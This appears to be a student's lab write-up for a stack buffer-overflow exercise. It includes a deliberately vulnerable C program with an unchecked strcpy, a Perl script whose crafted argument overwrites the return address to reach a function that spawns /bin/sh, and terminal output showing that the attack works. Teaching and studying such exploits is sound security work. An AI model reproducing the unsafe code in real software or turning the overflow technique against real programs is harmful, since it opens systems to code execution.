Task 2:

For this task I had to turn off the same things as task one put also I had to turn off execstack I had struggles with a lot of this but mainly trying to figure out how to perform the NOP slide to the right location.

```
ubuntu@ip-10-219-1-59:~/step2$ perl hackOverrun.pl
Address of foo = 0x555555555189
Address of bar = 0x5555555551e9
My stack looks like:
0x5555555592a0
(nil)
(nil)
(nil)
0x20
0x7fffffffe3f6
0x7fffffffe75b
0x7ffff7fb62e8
0x5555555551280
0x7fffffffe410
0x55555555526f
0x7fffffffe508
0x200000000
(nil)
0x7ffff7de98b3
0x7ffff7ffc620
0x7fffffffe508
0x200000000
0x555555555200
0x555555555280

buf after is: ABCDEFGHIKGHJOPQRS?QUUUU
Now the stack looks like:
0x5555555592a0
(nil)
(nil)
(nil)
0x27
0x7fffffffe3f6
0x7fffffffe75b
0x42417ffff7fb62e8
0x4b494b4746454443
0x535251504f4a4847
0x5555555551e9
0x7fffffffe508
0x200000000
(nil)
0x7ffff7de98b3
0x7ffff7ffc620
0x7fffffffe508
0x200000000
0x555555555200
0x555555555280
0x7685534b0473b00f
0x5555555550a0
0x7fffffffe500
(nil)
(nil)
0x897aacb4cc33b00f
0x897abcf624bdb00f

Augh! I've been hacked!
ubuntu@ip-10-219-1-59:~/step2$
```

```
$arg = "ABCDEFGHIKGHJOPQRS"."\xe9\x51\x55\x55\x55\x55";
$cmd = "./stackOverload ".$arg;

system($cmd);
```

```c
/*
  StackOverload.c
  This program shows an example of how a stack-based
  buffer overrun can be used to execute arbitrary code.  Its
  objective is to find an input string that executes the function bar.
*/


#include <stdio.h>
#include <string.h>

void foo(const char* input)
{
    char buf[10];

    //What? No extra arguments supplied to printf?
    //It's a cheap trick to view the stack 8-)
    //We saw this trick with format strings.
    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

    //Pass the user input straight to secure code public enemy #1.
    strcpy(buf, input);
    printf("buf after is: %s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
    char* name[2];
    name[0] = "/bin/sh";
    name[1] = 0x0;
    execve(name[0], name, 0x0);
    exit(0);
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);
    if (argc != 2)
     {
        printf("Please supply a string as an argument!\n");
        return -1;
    }
    foo(argv[1]);
    return 0;
}
~
```